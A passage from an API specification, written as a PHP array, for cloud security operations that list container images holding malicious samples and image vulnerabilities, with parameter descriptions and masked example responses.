'AffectedMaliciousFileImagesResponse' => [ 'description' => 'An array consisting of the images that have malicious image samples.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The handling status of the malicious image sample. Valid values:'."\n" ."\n" .'* **0**: unhandled'."\n" .'* **1**: handled'."\n" .'* **2**: verifying'."\n" .'* **3**: added to the whitelist'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Digest' => [ 'description' => 'The image digest.'."\n", 'type' => 'string', 'example' => '6a5e1031a5858617f7d8a179ead6****', ], 'LatestVerifyTimestamp' => [ 'description' => 'The timestamp of the last verification.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1596522711000', ], 'RepoInstanceId' => [ 'description' => 'The ID of the container image.'."\n", 'type' => 'string', 'example' => 'cri-datvail3m****', ], 'Namespace' => [ 'description' => 'The namespace to which the image repository belongs.'."\n", 'type' => 'string', 'example' => 'hanghai-namespace', ], 'Tag' => [ 'description' => 'The tag that is added to the image.'."\n", 'type' => 'string', 'example' => '0.2', ], 'RepoRegionId' => [ 'description' => 'The region ID of the image repository.'."\n", 'type' => 'string', 'example' => 'cn-shanghai', ], 'ImageUuid' => [ 'description' => 'The UUID of the image.'."\n", 'type' => 'string', 'example' => 'e05c0de798217637868ef4****', ], 'FirstScanTimestamp' => [ 'description' => 'The timestamp of the first scan.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1594907349000', ], 'MaliciousMd5' => [ 'description' => 'The MD5 hash value of the malicious image sample.'."\n", 'type' => 'string', 'example' => 'd836968041f768300d9605a****', ], 'FilePath' => [ 'description' => 'The path to the image file.'."\n", 'type' => 'string', 'example' => '/d836968041f7683b5605a****', ], 'RepoId' => [ 'description' => 'The ID of the image repository.'."\n", 'type' => 'string', 'example' => 'crr-vridcl4****', ], 'Layer' => [ 'description' => 'The image layer.'."\n", 'type' => 'string', 'example' => '27213ad3447f0209dd152a5cadea****', ], 'LatestScanTimestamp' => [ 'description' => 'The timestamp of the last scan.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1596522785000', ], 'RepoName' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'example' => 'centos', ], 'Level' => [ 'description' => 'The severity of the malicious image sample. Valid values:'."\n" ."\n" .'* **serious**'."\n" .'* **suspicious**'."\n" .'* **remind**'."\n", 'type' => 'string', 'example' => 'serious', ], 'DownloadUrl' => [ 'description' => 'The URL to download the malicious image sample.'."\n", 'type' => 'string', 'example' => 'https://aegis-metadata-file.oss-cn-shanghai.aliyuncs.com/', ], 'HighLight' => [ 'description' => 'The text that is highlighted.'."\n", 'type' => 'string', 'example' => '{"ruleVersion":"highlight_20210908","ruleId":600106,"events":[[2,54]]}', ], 'ContainerId' => [ 'description' => 'The ID of the container.'."\n", 'type' => 'string', 'example' => '04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****', ], 'Image' => [ 'description' => 'The name of the image.'."\n", 'type' => 'string', 'example' => 'registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-conta****', ], 'Pod' => [ 'description' => 'The pod.'."\n", 'type' => 'string', 'example' => '22222-7xsqq', ], 'ClusterId' => [ 'description' => 'The ID of the cluster.'."\n", 'type' => 'string', 'example' => 'c08d5fc1a329a4b88950a253d082f1****', ], 'ClusterName' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'example' => 'docker-law', ], 'InstanceName' => [ 'description' => 'The name of the ECS instance.', 'type' => 'string', 'example' => 'sql-test-001', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '47.101.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '172.22.XX.XX', ], 'TargetId' => [ 'description' => 'The ID of the task object.'."\n", 'type' => 'string', 'example' => 'm-bp17m0pc0xprzbwo****', ], 'TargetName' => [ 'description' => 'The name of the task object.', 'type' => 'string', 'example' => 'source-test-obj-9LaLJ', ], 'TargetType' => [ 'description' => 'The object type. Valid value:'."\n" ."\n" .'* **ECS_IMAGE**'."\n" .'* **ECS_SNAPSHOT**', 'type' => 'string', 'example' => 'ECS_IMAGE', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '48a473c4-1650-4931-a822-7e6c2c28****', ], 'Id' => [ 'description' => 'The ID of alert event.', 'type' => 'integer', 'format' => 'int64', 'example' => '1000040', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ACF97412-FD09-4D1F-994F-34DF12BREF20\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n \\"Count\\": 2\\n },\\n \\"AffectedMaliciousFileImagesResponse\\": [\\n {\\n \\"Status\\": 1,\\n \\"Digest\\": \\"6a5e1031a5858617f7d8a179ead6****\\",\\n \\"LatestVerifyTimestamp\\": 1596522711000,\\n \\"RepoInstanceId\\": \\"cri-datvail3m****\\",\\n \\"Namespace\\": \\"hanghai-namespace\\",\\n \\"Tag\\": \\"0.2\\",\\n \\"RepoRegionId\\": \\"cn-shanghai\\",\\n \\"ImageUuid\\": \\"e05c0de798217637868ef4****\\",\\n \\"FirstScanTimestamp\\": 1594907349000,\\n \\"MaliciousMd5\\": \\"d836968041f768300d9605a****\\",\\n \\"FilePath\\": \\"/d836968041f7683b5605a****\\",\\n \\"RepoId\\": \\"crr-vridcl4****\\",\\n \\"Layer\\": \\"27213ad3447f0209dd152a5cadea****\\",\\n \\"LatestScanTimestamp\\": 1596522785000,\\n \\"RepoName\\": \\"centos\\",\\n \\"Level\\": \\"serious\\",\\n \\"DownloadUrl\\": \\"https://aegis-metadata-file.oss-cn-shanghai.aliyuncs.com/\\",\\n \\"HighLight\\": \\"{\\\\\\"ruleVersion\\\\\\":\\\\\\"highlight_20210908\\\\\\",\\\\\\"ruleId\\\\\\":600106,\\\\\\"events\\\\\\":[[2,54]]}\\",\\n \\"ContainerId\\": \\"04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****\\",\\n \\"Image\\": \\"registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-conta****\\",\\n \\"Pod\\": \\"22222-7xsqq\\",\\n \\"ClusterId\\": \\"c08d5fc1a329a4b88950a253d082f1****\\",\\n \\"ClusterName\\": \\"docker-law\\",\\n \\"InstanceName\\": \\"sql-test-001\\",\\n \\"InternetIp\\": \\"47.101.XX.XX\\",\\n \\"IntranetIp\\": \\"172.22.XX.XX\\",\\n \\"TargetId\\": \\"m-bp17m0pc0xprzbwo****\\",\\n \\"TargetName\\": \\"source-test-obj-9LaLJ\\",\\n \\"TargetType\\": \\"ECS_IMAGE\\",\\n \\"Uuid\\": \\"48a473c4-1650-4931-a822-7e6c2c28****\\",\\n \\"Id\\": 1000040\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeAffectedMaliciousFileImages', ], 'DescribeGroupedMaliciousFiles' => [ 'summary' => 'Queries a list of malicious image samples.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92086', 'abilityTreeNodes' => [ 'FEATUREsasA0IBMB', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Levels', 'in' => 'query', 'schema' => [ 'description' => 'The severity of the malicious image sample that you want to query. You can enter multiple severities. Separate the severities with commas (,). Valid values:'."\n" ."\n" .'* **serious**'."\n" .'* **suspicious**'."\n" .'* **remind**'."\n", 'type' => 'string', 'required' => false, 'example' => 'serious', ], ], [ 'name' => 'FuzzyMaliciousName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the malicious image sample that you want to query.'."\n" ."\n" .'> Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Mining', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Pages start from page **1**. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **20**.'."\n", 'type' => 'string', 'required' => true, 'example' => '20', ], ], [ 'name' => 'RepoRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the image repository. Valid values:'."\n" ."\n" .'* **cn-beijing**: China (Beijing)'."\n" .'* **cn-zhangjiakou**: China (Zhangjiakou)'."\n" .'* **cn-hangzhou**: China (Hangzhou)'."\n" .'* **cn-shanghai**: China (Shanghai)'."\n" .'* **cn-shenzhen**: China (Shenzhen)'."\n" .'* **cn-hongkong**: China (Hong Kong)'."\n" .'* **ap-southeast-1**: Singapore'."\n" .'* **ap-southeast-5**: Indonesia (Jakarta)'."\n" .'* **us-east-1**: US (Virginia)'."\n" .'* **us-west-1**: US (Silicon Valley)'."\n" .'* **eu-central-1**: Germany (Frankfurt)'."\n" .'* **eu-west-1**: UK (London)', 'type' => 'string', 'required' => false, 'example' => 'cn-shanghai', ], ], [ 'name' => 'RepoInstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container image.'."\n" ."\n" .'> You can call the [ListRepository](~~145293~~) operation to query the IDs of container images from the value of the **InstanceId** response parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cri-datvailb****', ], ], [ 'name' => 'RepoId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the image repository.'."\n" ."\n" .'> You can call the [ListRepository](~~145293~~) operation to query the IDs of image repositories from the value of the **RepoId** response parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => 'crr-vridcl4****', ], ], [ 'name' => 'RepoName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image repository.'."\n" ."\n" .'> Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => ' centos', ], ], [ 'name' => 'RepoNamespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace to which the image repository belongs.'."\n" ."\n" .'> Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => 'hanghai-namespace', ], ], [ 'name' => 'ImageTag', 'in' => 'query', 'schema' => [ 'description' => 'The image tag.'."\n", 'type' => 'string', 'required' => false, 'example' => '0.2', ], ], [ 'name' => 'ImageDigest', 'in' => 'query', 'schema' => [ 'description' => 'The image digest.'."\n", 'type' => 'string', 'required' => false, 'example' => '6a5e103187b31a94592a47a5858617f7****', ], ], [ 'name' => 'ImageLayer', 'in' => 'query', 'schema' => [ 'description' => 'The image layer.'."\n", 'type' => 'string', 'required' => false, 'example' => '27213ad375b53628dd152a5ca****', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The cluster ID of the container on which the malicious image sample is detected.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c556c8133b5ad4378b7fc533ddbda****', ], ], [ 'name' => 'ScanRange', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of the assets that you want to scan.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the asset that you want to scan. Valid values:'."\n" ."\n" .'* **container**'."\n" .'* **image**'."\n", 'type' => 'string', 'required' => false, 'example' => 'container', ], 'required' => false, 'maxItems' => 2, ], ], [ 'name' => 'MaliciousMd5', 'in' => 'query', 'schema' => [ 'description' => 'The MD5 hash value of the malicious image sample.'."\n", 'type' => 'string', 'required' => false, 'example' => 'd836968041f7683b5459****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '8045E03E-6D91-4C53-9F22-5A1B84BB29D9', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 'GroupedMaliciousFileResponse' => [ 'description' => 'The details of the malicious image sample.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the malicious image sample.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The handling status of the malicious image sample. Valid values:'."\n" ."\n" .'* **0**: unhandled'."\n" .'* **1**: handled'."\n" .'* **2**: verifying'."\n" .'* **3**: whitelisted'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ImageCount' => [ 'description' => 'The number of affected images.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '3', ], 'LatestScanTimestamp' => [ 'description' => 'The timestamp generated when the last scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1596533942000', ], 'MaliciousName' => [ 'description' => 'The name of the malicious image sample.'."\n", 'type' => 'string', 'example' => 'testFile', ], 'MaliciousMd5' => [ 'description' => 'The MD5 hash value of the malicious image sample.'."\n", 'type' => 'string', 'example' => 'd836968041f7683b5459****', ], 'FirstScanTimestamp' => [ 'description' => 'The timestamp generated when the first scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1594907349000', ], 'Level' => [ 'description' => 'The severity of the malicious image sample. Valid values:'."\n" ."\n" .'* **serious**'."\n" .'* **suspicious**'."\n" .'* **remind**'."\n", 'type' => 'string', 'example' => 'serious', ], 'MaliciousKey' => [ 'description' => 'The keyword of the malicious image sample.'."\n", 'type' => 'string', 'example' => 'WEBSHELL_IMG', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"8045E03E-6D91-4C53-9F22-5A1B84BB29D9\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n \\"Count\\": 2\\n },\\n \\"GroupedMaliciousFileResponse\\": [\\n {\\n \\"Status\\": 0,\\n \\"ImageCount\\": 3,\\n \\"LatestScanTimestamp\\": 1596533942000,\\n \\"MaliciousName\\": \\"testFile\\",\\n \\"MaliciousMd5\\": \\"d836968041f7683b5459****\\",\\n \\"FirstScanTimestamp\\": 1594907349000,\\n \\"Level\\": \\"serious\\",\\n \\"MaliciousKey\\": \\"WEBSHELL_IMG\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n \\n 0\\n 1596533942000\\n 3\\n 自变异木马\\n serious\\n 1594907349000\\n d836968041f7683b545900****\\n \\n \\n 1\\n 1594785387000\\n 0\\n 发现后门（Webshell）文件\\n serious\\n 1594630261000\\n d8b4074715b232d7d41***\\n \\n \\n 2\\n 20\\n 1\\n 2\\n \\n 8045E03E-6D91-4C53-9F22-5A1B84BB29D9\\n","errorExample":""}]', 'title' => 'DescribeGroupedMaliciousFiles', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeImageVulList' => [ 'summary' => 'Queries the details of vulnerabilities that are detected by using container image scan and the affected images.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability. Set the value to **cve**, which indicates image vulnerabilities.', 'type' => 'string', 'required' => true, 'example' => 'cve', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of the assets. Separate multiple UUIDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => '0004a32a0305a7f6ab5ff9600d47****', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'debian:10:CVE-2019-9893', ], ], [ 'name' => 'AliasName', 'in' => 'query', 'schema' => [ 'description' => 'The alias of the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'High severity vulnerability that affects org.eclipse.jetty:jetty-server', ], ], [ 'name' => 'StatusList', 'in' => 'query', 'schema' => [ 'description' => 'The status of the vulnerability. Valid values:'."\n" ."\n" .'* **1**: unfixed'."\n" .'* **4**: being fixed'."\n" .'* **7**: fixed'."\n", 'type' => 'string', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Necessity', 'in' => 'query', 'schema' => [ 'description' => 'The priority to fix the vulnerability. Valid values:'."\n" ."\n" .'* **asap**: high. You must fix the vulnerability at the earliest opportunity.'."\n" .'* **later**: medium. You can fix the vulnerability based on your business requirements.'."\n" .'* **nntf**: low. You can ignore the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'asap', ], ], [ 'name' => 'Dealed', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the vulnerability is handled. Valid values:'."\n" ."\n" .'* **y**: yes'."\n" .'* **n**: no'."\n", 'type' => 'string', 'required' => false, 'example' => 'y', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'RepoRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'RepoInstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The instance ID of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-qewqrqcsadf****', ], ], [ 'name' => 'RepoId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'qew****', ], ], [ 'name' => 'RepoName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => 'libssh2', ], ], [ 'name' => 'RepoNamespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace to which the image repository belongs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'libssh2', ], ], [ 'name' => 'RepoName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => 'libssh2', ], ], [ 'name' => 'RegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the instance.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'InstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The instance ID of the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => '1-qeqewqw****', ], ], [ 'name' => 'RepoId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'qew****', ], ], [ 'name' => 'Tag', 'in' => 'query', 'schema' => [ 'description' => 'The tag that is added to the image vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'oval', ], ], [ 'name' => 'Digest', 'in' => 'query', 'schema' => [ 'description' => 'The digest of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => '8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d507012', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the cluster to which the container belongs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cc20a1024011c44b6a8710d6f8b****', ], ], [ 'name' => 'ScanRange', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of the assets that you want to scan.', 'type' => 'array', 'items' => [ 'description' => 'The type of the asset that you want to scan. Valid values:'."\n" ."\n" .'* **container**'."\n" .'* **image**', 'type' => 'string', 'required' => false, 'example' => 'container', ], 'required' => false, 'maxItems' => 2, ], ], [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the cluster.', 'type' => 'string', 'required' => false, 'example' => 'docker-law'."\n", ], ], [ 'name' => 'ContainerId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container.', 'type' => 'string', 'required' => false, 'example' => 'c08d5fc1a329a4b88950a253d082f****'."\n", ], ], [ 'name' => 'Pod', 'in' => 'query', 'schema' => [ 'description' => 'The pod.', 'type' => 'string', 'required' => false, 'example' => '22222-7xsqq'."\n", ], ], [ 'name' => 'Namespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace.', 'type' => 'string', 'required' => false, 'example' => 'test-002'."\n", ], ], [ 'name' => 'Image', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image.', 'type' => 'string', 'required' => false, 'example' => 'registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-****'."\n", ], ], [ 'name' => 'RuleTag', 'in' => 'query', 'schema' => [ 'description' => 'The tag of this vulnerability. Valid values:'."\n" ."\n" .'* **AI**: AI-related components.', 'type' => 'string', 'required' => false, 'example' => 'AI', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D6B20156-49B0-5CF0-B14D-7ECA4B50DAAB', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of vulnerabilities returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'VulRecords' => [ 'description' => 'An array that consists of the vulnerabilities.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'CanUpdate' => [ 'description' => 'Indicates whether the package of the software that has the vulnerability can be upgraded by using Security Center. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Type' => [ 'description' => 'The type of the vulnerability. The value is fixed as CVE, which indicates image vulnerabilities.'."\n", 'type' => 'string', 'example' => 'cve', ], 'Status' => [ 'description' => 'The status of the vulnerability. Valid values:'."\n" ."\n" .'* **1**: unfixed'."\n" .'* **7**: fixed'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ModifyTs' => [ 'description' => 'The timestamp when the information about the vulnerability was updated. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1580808765000', ], 'ImageDigest' => [ 'description' => 'The digest of the image.'."\n", 'type' => 'string', 'example' => '8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d507012', ], 'PrimaryId' => [ 'description' => 'The ID of the vulnerability.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '782661', ], 'Tag' => [ 'description' => 'The tag that is added to the image vulnerability.'."\n", 'type' => 'string', 'example' => 'oval', ], 'RepoNamespace' => [ 'description' => 'The namespace to which the image repository belongs.'."\n", 'type' => 'string', 'example' => 'default', ], 'RepoName' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'example' => 'varnish', ], 'Related' => [ 'description' => 'The Common Vulnerabilities and Exposures (CVE) ID of the associated vulnerability.'."\n", 'type' => 'string', 'example' => 'CVE-2019-9893', ], 'FirstTs' => [ 'description' => 'The timestamp when the first scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1620752053000', ], 'LastTs' => [ 'description' => 'The timestamp when the last scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1631779996000', ], 'Necessity' => [ 'description' => 'The priority to fix the vulnerability. Valid values:'."\n" ."\n" .'* **asap**: high. You must fix the vulnerability at the earliest opportunity.'."\n" .'* **later**: medium. You can fix the vulnerability based on your business requirements.'."\n" .'* **nntf**: low. You can ignore the vulnerability.'."\n", 'type' => 'string', 'example' => 'asap', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '0004a32a0305a7f6ab5ff9600d47****', ], 'AliasName' => [ 'description' => 'The alias of the vulnerability.'."\n", 'type' => 'string', 'example' => 'CVE-2018-25010:libwebp up to 1.0.0 ApplyFilter out-of-bounds read', ], 'Name' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'example' => 'debian:10:CVE-2019-9893', ], 'Layers' => [ 'description' => 'The image layers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The image layers.'."\n", 'type' => 'string', 'example' => '["null"]', ], ], 'ExtendContentJson' => [ 'description' => 'The extended information about the vulnerability.'."\n", 'type' => 'object', 'properties' => [ 'OsRelease' => [ 'description' => 'The version of the operating system in the image.'."\n", 'type' => 'string', 'example' => '10.9', ], 'Os' => [ 'description' => 'The name of the operating system.'."\n", 'type' => 'string', 'example' => 'debian', ], 'RpmEntityList' => [ 'description' => 'The details of the package of the software that has the vulnerability.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'MatchList' => [ 'description' => 'The details of the rule that is used to detect the vulnerability.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the rule that is used to detect the vulnerability. The details of multiple rules are separated by commas (,).'."\n", 'type' => 'string', 'example' => '["libstdc++ version less than 8.5.0-4.el8_5"]', ], 'example' => '["libseccomp2 version less than equals 2.3.3-4"]', ], 'Layer' => [ 'description' => 'The SHA-256 value of the digest of the image layer.'."\n", 'type' => 'string', 'example' => 'b1f5b9420803ad0657cf21566e3e20acc08581e7f22991249ef3aa80b8b1c587', ], 'FullVersion' => [ 'description' => 'The complete version number of the package.'."\n", 'type' => 'string', 'example' => '2.3.3-4', ], 'Version' => [ 'description' => 'The version number of the package.'."\n", 'type' => 'string', 'example' => '2.3.3-4', ], 'MatchDetail' => [ 'description' => 'The reason why the vulnerability is detected.'."\n", 'type' => 'string', 'example' => 'libseccomp2 version less than equals 2.3.3-4', ], 'Path' => [ 'description' => 'The path of the software that has the vulnerability.'."\n", 'type' => 'string', 'example' => '/usr/lib64/libssh2.so.1', ], 'Name' => [ 'description' => 'The name of the software package.'."\n", 'type' => 'string', 'example' => 'libseccomp2', ], 'UpdateCmd' => [ 'description' => 'The command that is used to fix the vulnerability.'."\n", 'type' => 'string', 'example' => 'apt-get update && apt-get install libseccomp2 --only-upgrade', ], ], ], ], ], ], 'CanFix' => [ 'description' => 'Indicates whether the vulnerability can be fixed in the Security Center console. Valid values:'."\n" ."\n" .'* **yes**: yes'."\n" .'* **no**: no'."\n", 'type' => 'string', 'example' => 'yes', ], 'ClusterId' => [ 'description' => 'The ID of the cluster.', 'type' => 'string', 'example' => 'c08d5fc1a329a4b88950a253d082f1****'."\n", ], 'ClusterName' => [ 'description' => 'The name of the cluster.', 'type' => 'string', 'example' => 'docker-law'."\n", ], 'Pod' => [ 'description' => 'The pod.', 'type' => 'string', 'example' => '22222-7xsqq'."\n", ], 'Namespace' => [ 'description' => 'The namespace.', 'type' => 'string', 'example' => 'test-002'."\n", ], 'Image' => [ 'description' => 'The name of the image.', 'type' => 'string', 'example' => 'registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-conta****'."\n", ], 'ContainerId' => [ 'description' => 'The ID of the container.', 'type' => 'string', 'example' => '04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****'."\n", ], 'InternetIp' => [ 'description' => 'The public IP address of the server.', 'type' => 'string', 'example' => '1.2.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.', 'type' => 'string', 'example' => '172.19.XX.XX', ], 'InstanceName' => [ 'description' => 'The name of the asset.', 'type' => 'string', 'example' => 'testInstance', ], 'TargetId' => [ 'description' => 'The ID of the asset on which the vulnerability is detected.', 'type' => 'string', 'example' => 'm-bp17m0pc0xprzbwo****', ], 'TargetName' => [ 'description' => 'The name of the asset on which the vulnerability is detected.', 'type' => 'string', 'example' => 'source-test-obj-XM0Ma', ], 'MaliciousSource' => [ 'description' => 'The source of the 